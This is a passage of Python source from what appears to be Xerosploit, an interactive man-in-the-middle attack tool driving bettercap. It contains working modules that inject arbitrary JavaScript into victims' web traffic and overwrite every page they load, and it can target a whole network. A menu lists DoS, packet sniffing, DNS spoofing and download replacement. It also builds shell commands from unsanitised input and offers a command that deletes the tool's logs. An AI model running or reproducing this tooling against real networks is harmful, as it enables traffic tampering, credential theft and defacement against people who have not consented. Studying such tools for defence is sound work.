print("\033[1;32m\n[+] Enter 'run' to execute the 'injectjs' command.\n\033[1;m")
706
action_inject_j = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjectjs\033[0m\033[1;36m ➮ \033[1;m").strip()
707
if action_inject_j == "back":
708
option()
709
elif action_inject_j == "exit":
710
sys.exit(exit_msg)
711
elif action_inject_j == "home":
712
home()
713
elif action_inject_j == "run":
714
print("\033[1;32m\n[+] Specify the file containing js code you would like to inject.\n\033[1;m")
715
js_file = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjectjs\033[0m\033[1;36m ➮ \033[1;m")
716
js_file = js_file.replace("'","")
717
if js_file == "back":
718
inject_j()
719
elif js_file == "exit":
720
sys.exit(exit_msg)
721
elif js_file == "home":
722
home()
723
else:
724
725
print("\033[1;34m\n[++] Injecting Javascript code ... \033[1;m")
726
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
727
cmd_inject_j = os.system("xettercap " + target_parse + target_ips + " --proxy-module=injectjs --js-file " + js_file + " -I " + up_interface + " --gateway " + gateway)
728
inject_j()
729
else:
730
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
731
inject_j()
732
733
inject_j()
734
735
elif options == "deface":
736
print(""" \033[1;36m
737
┌══════════════════════════════════════════════════════════════┐
738
█ █
739
█ Deface Web Page █
740
█ █
741
█ Overwrite all web pages with your HTML code █
742
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
743
def deface():
744
print("\033[1;32m\n[+] Enter 'run' to execute the 'deface' command.\n\033[1;m")
745
action_deface = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdeface\033[0m\033[1;36m ➮ \033[1;m").strip()
746
if action_deface == "back":
747
option()
748
elif action_deface == "exit":
749
sys.exit(exit_msg)
750
elif action_deface == "home":
751
home()
752
elif action_deface == "run":
753
print("\033[1;32m\n[+] Specify the file containing your defacement code .\033[1;m")
754
print("\033[1;33m\n[!] Your file should not contain Javascript code .\n\033[1;m")
755
756
file_deface = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdeface\033[0m\033[1;36m ➮ \033[1;m")
757
758
if file_deface == "back":
759
option()
760
elif file_deface == "exit":
761
sys.exit(exit_msg)
762
elif file_deface == "home":
763
home()
764
else:
765
file_deface = file_deface.replace("'","")
766
file_deface = open(file_deface, 'r').read()
767
file_deface = file_deface.replace("\n","")
768
769
print("\033[1;34m\n[++] Overwriting all web pages ... \033[1;m")
770
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
771
772
773
content = """<script type='text/javascript'> window.onload=function(){document.body.innerHTML = " """ + file_deface + """ ";}</script>"""
774
f1 = open('/home/home/xero-html.html','w')
775
f1.write(content)
776
f1.close()
777
778
cmd_inject = os.system("xettercap " + target_parse + target_ips + " --proxy-module=/opt/xerosploit/tools/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb --js-file /home/home/xero-html.html -I " + up_interface + " --gateway " + gateway )
779
deface()
780
else:
781
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
782
deface()
783
784
deface()
785
786
elif options == "back":
787
target_ip()
788
elif options == "exit":
789
sys.exit(exit_msg)
790
elif options == "home":
791
home()
792
# Show disponible modules.
793
elif options == "help":
794
print ("")
795
table_datas = [
796
["\033[1;36m\n\n\n\n\n\n\n\n\n\n\n\n\n\nMODULES\n", """
797
pscan : Port Scanner
798
799
dos : DoS Attack
800
801
ping : Ping Request
802
803
injecthtml : Inject Html code
804
805
injectjs : Inject Javascript code
806
807
rdownload : Replace files being downloaded
808
809
sniff : Capturing information inside network packets
810
811
dspoof : Redirect all the http traffic to the specified one IP
812
813
yplay : Play background sound in target browser
814
815
replace : Replace all web pages images with your own one
816
817
driftnet : View all images requested by your targets
818
819
move : Shaking Web Browser content
820
821
deface : Overwrite all web pages with your HTML code\n\033[1;m"""]
822
]
823
table = DoubleTable(table_datas)
824
print(table.table)
825
option()
826
else:
827
print("\033[1;91m\n[!] Error : Module not found . Type 'help' to view the modules list. \033[1;m")
828
option()
829
option()
830
831
832
833
if target_ips == "back":
834
home()
835
elif target_ips == "exit":
836
sys.exit(exit_msg)
837
elif target_ips == "home":
838
home()
839
elif target_ips == "help":
840
table_datas = [
841
["\033[1;36m\nInformation\n", "\nInsert your target IP address.\nMultiple targets : ip1,ip2,ip3,... \nThe 'all' command will target all your network.\n\n\033[1;m"]
842
]
843
table = DoubleTable(table_datas)
844
print(table.table)
845
target_ip()
846
# if target = all the network
847
elif target_ips == "all":
848
849
target_ips = ""
850
target_parse = ""
851
target_name = "All your network"
852
program0()
853
854
else:
855
program0()
856
857
858
859
860
861
862
863
def cmd0():
864
while True:
865
print("\033[1;32m\n[+] Please type 'help' to view commands.\n\033[1;m")
866
cmd_0 = input("\033[1;36m\033[4mXero\033[0m\033[1;36m ➮ \033[1;m").strip()
867
if cmd_0 == "scan": # Map the network
868
print("\033[1;34m\n[++] Mapping your network ... \n\033[1;m")
869
scan()
870
elif cmd_0 == "start": # Skip network mapping and directly choose a target.
871
target_ip()
872
elif cmd_0 == "gateway": # Change gateway
873
def gateway():
874
print("")
875
table_datas = [
876
["\033[1;36m\nInformation\n", "\nManually set your gateway.\nInsert '0' if you want to choose your default network gateway.\n\033[1;m"]
877
]
878
table = DoubleTable(table_datas)
879
print(table.table)
880
881
print("\033[1;32m\n[+] Enter your network gateway.\n\033[1;m")
882
n_gateway = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mgateway\033[0m\033[1;36m ➮ \033[1;m").strip()
883
884
if n_gateway == "back":
885
home()
886
elif n_gateway == "exit":
887
sys.exit(exit_msg)
888
elif n_gateway == "home":
889
home()
890
else:
891
892
s_gateway = open('/opt/xerosploit/tools/files/gateway.txt','w')
893
s_gateway.write(n_gateway)
894
s_gateway.close()
895
896
home()
897
gateway()
898
899
elif cmd_0 == "iface": # Change network interface.
900
def iface():
901
print ("")
902
table_datas = [
903
["\033[1;36m\nInformation\n", "\nManually set your network interface.\nInsert '0' if you want to choose your default network interface.\n\033[1;m"]
904
]
905
table = DoubleTable(table_datas)
906
print(table.table)
907
908
print("\033[1;32m\n[+] Enter your network interface.\n\033[1;m")
909
n_up_interface = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4miface\033[0m\033[1;36m ➮ \033[1;m").strip()
910
911
if n_up_interface == "back":
912
home()
913
elif n_up_interface == "exit":
914
sys.exit(exit_msg)
915
elif n_up_interface == "home":
916
home()
917
else:
918
s_up_interface = open('/opt/xerosploit/tools/files/iface.txt','w')
919
s_up_interface.write(n_up_interface)
920
s_up_interface.close()
921
922
home()
923
iface()
924
elif cmd_0 == "exit":
925
sys.exit(exit_msg)
926
927
elif cmd_0 == "home":
928
home()
929
930
elif cmd_0 == "rmlog": # Remove all logs
931
def rm_log():
932
print("\033[1;32m\n[+] Do want to remove all xerosploit logs ? (y/n)\n\033[1;m")
933
cmd_rmlog = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mrmlog\033[0m\033[1;36m ➮ \033[1;m").strip()
934
if cmd_rmlog == "y":
935
rmlog = os.system("rm -f -R /opt/xerosploit/xerosniff/ /opt/xerosploit/tools/log/* /opt/xerosploit/tools/bettercap/modules/tmp/* /opt/xerosploit/tools/files/dns.conf")
936
print("\033[1;31m\n[++] All logs have been removed. \n\033[1;m")
937
sleep(1)
938
home()
939
elif cmd_rmlog == "n":
940
home()
941
942
elif cmd_rmlog == "exit":
943
sys.exit(exit_msg)
944
945
elif cmd_rmlog == "home":
946
home()
947
elif cmd_rmlog == "back":
948
home()
949
else:
950
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
951
rm_log()
952
rm_log()
953
# Principal commands
954
elif cmd_0 == "help":
955
print ("")
956
table_datas = [
957
["\033[1;36m\n\n\n\nCOMMANDS\n", """
958
scan : Map your network.
959
960
iface : Manually set your network interface.
961
962
gateway : Manually set your gateway.
963
964
start : Skip scan and directly set your target IP address.
965
966
rmlog : Delete all xerosploit logs.
967
968
help : Display this help message.
969
970
exit : Close Xerosploit.\n\033[1;m"""]
971
]
972
table = DoubleTable(table_datas)
973
print(table.table)
974
975
976
else:
977
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
978
979
980
home()
981
cmd0()
982
983
984
except KeyboardInterrupt:
985
print ("\n" + exit_msg)
986
sleep(1)
987
except Exception:
988
traceback.print_exc(file=sys.stdout)
989
sys.exit(0)
990
991
if __name__ == "__main__":
992
main()
993
994